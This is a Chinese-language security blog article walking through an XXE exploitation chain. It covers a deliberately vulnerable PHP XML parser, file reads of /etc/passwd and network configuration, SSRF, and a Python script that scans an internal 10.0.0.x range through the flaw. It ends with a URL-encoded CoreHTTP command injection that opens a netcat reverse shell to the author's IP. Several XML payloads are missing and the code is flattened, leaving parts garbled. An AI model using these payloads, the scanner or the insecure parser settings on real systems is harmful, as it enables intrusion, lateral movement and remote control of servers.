查看原文
其他

类似反弹 Shell 的 XXE 漏洞利用

Avkiki 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488



微信公众号:计算机与网络安全

ID:Computer-network

攻击者可以使用受信认应用跳转到其他内部系统,通过http(s)请求或使用CSRF攻击未受保护的内部系统获取内部系统信息。


现目前许多XML解析器实现都存在XXE利用。观察如下PHP脚本,其解析XML之后再进行发送,最后将结果返回给用户。将该脚本命名为NEWXXE.php并将其放入我的web根目录下CUSTOM目录中。虽说该脚本并不进行任何操作,但是管它呢,我们只是将其作为一个途径来观察解析器本身的问题。

在WEBSVR01中安装该php脚本


<?php $xmlfile = filegetcontents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXMLNOENT | LIBXMLDTDLOAD); $xml = simplexmlimport_dom($dom); $stuff = $xml->stuff;


$str = "$stuff \n";

echo $str; ?>如果你想自己动手进行测试,可以将上面的脚本放入PHP服务器上(首先确保你已经安装了php-xml) 接下来创建一个包含以下内容的xml文件作为请求发送到服务器,我将其命名为send.txt然后将其从WEBSVR01发送到本地。This is my stuff  将请求发送给WEBSVR01即本地服务器,如下:


注意观察返回的响应该脚本运行正常,符合我们的预期。接下来就可以安心搞解析器了。

对send.txt进行如下修改:


这是一个典型的XXE攻击,对于验证漏洞来说也很不错。如果一切运行正常,你应该可以得到/etc/passwd的转储信息。

从WEBSVR01再次发包到本地:



XXE另外一个功能就是创建HTTP请求:



在WEBSVR01上开启python SimpleHTTPServer(8888端口)



python http server:



不错,我们可以发送http请求。


我可以从远端利用该漏洞并获得一些网络信息。从下面这张示意图中,你可以得知该漏洞存在与互联网中的web服务器上,这里我们可以将其作为一个跳板使用。


我得到web服务器(34.200.157.128),这就是WEBSVR01且装配有NAT/Firewall的设备。WEBSVR01存在XXE漏洞,对其收集信息以便作为跳板拿下WEBSRV02。


经过枚举发现该主机是一台Ubuntu服务器,这里有几个方法获取其网络信息:


首先你可以抓取/etc/networking/interfaces,如果需要更多信息可以看看/proc/net/route(这些值都是16进制,有必要的话需要进行转换)
攻击端Attack PC (Ubuntu 14 LTS),向存在漏洞的服务器发起文件请求以抓取/etc/network/interfaces。


在攻击端编辑如下文件以抓取etc/passwd:



构造请求:



现如今我们得知了该主机内部网络的IP方案或DMZ。


使用内网IP地址10.0.0.3通过XXE抓取该服务器上的默认页面。


注意!有些字符可能会影响到XML。到目前为止我们查看文件或是构造简单的http请求还没有遇到字符影响XML的情况。使用的PHP所以对返回的结果我们可以用Base64进行解码。在攻击端修改send.txt增加以下PHP过滤。



发送请求:



之后获得一串base64编码,解码之后获得页面内容。



将前面所述结合起来,我们可以对web服务器的内网IP范围进行扫描


人生苦短,我用Python



import requests import base64

Origtional XML that the server accepts


user


def buildxml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """""" xml = xml + "\r\n" + """ &xxe;""" xml = xml + "\r\n" + """""" sendxml(xml)


def sendxml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://34.200.157.128/CUSTOM/NEWXEE.php', data=xml, headers=headers, timeout=5).text codedstring = x.split(' ')[-2] # a little split to get only the base64 encoded value print codedstring


print base64.b64decode(coded_string)

for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue


项目详情可查看:

https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py

在攻击端执行


https://ws1.sinaimg.cn/large/6de149eegy1ffeyjn1j9dj218g07vgsl.jpg


看看从10.0.0.4返回的数据都是些啥(base64解码)


https://wx3.sinaimg.cn/large/6de149eegy1ffeykrf6r7j218g05zdmc.jpg


CoreHTTP? exploit-db上刚好有一个exp https://www.exploit-db.com/exploits/10610/ 


由于我们获得了一个ndex.pl(Perl)文件,我假设其开启了CGI,那么该利用就是可用的。其漏洞原理是GET请求中传递的参数,因此我们能通过XXE漏洞在外部主机上进行利用。 经过Metasploit模块解密之后,需要发送以下形式的http请求:


http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%200%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60  


注意,34.200.157.80是我自己的IP地址且开启了Netcat监听器。


通过XXE漏洞触发在10.0.0.4上的利用。



在攻击端创建一个Netcat监听器,然后执行:



与反弹Shell差不多。

微信公众号:计算机与网络安全

ID:Computer-network

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存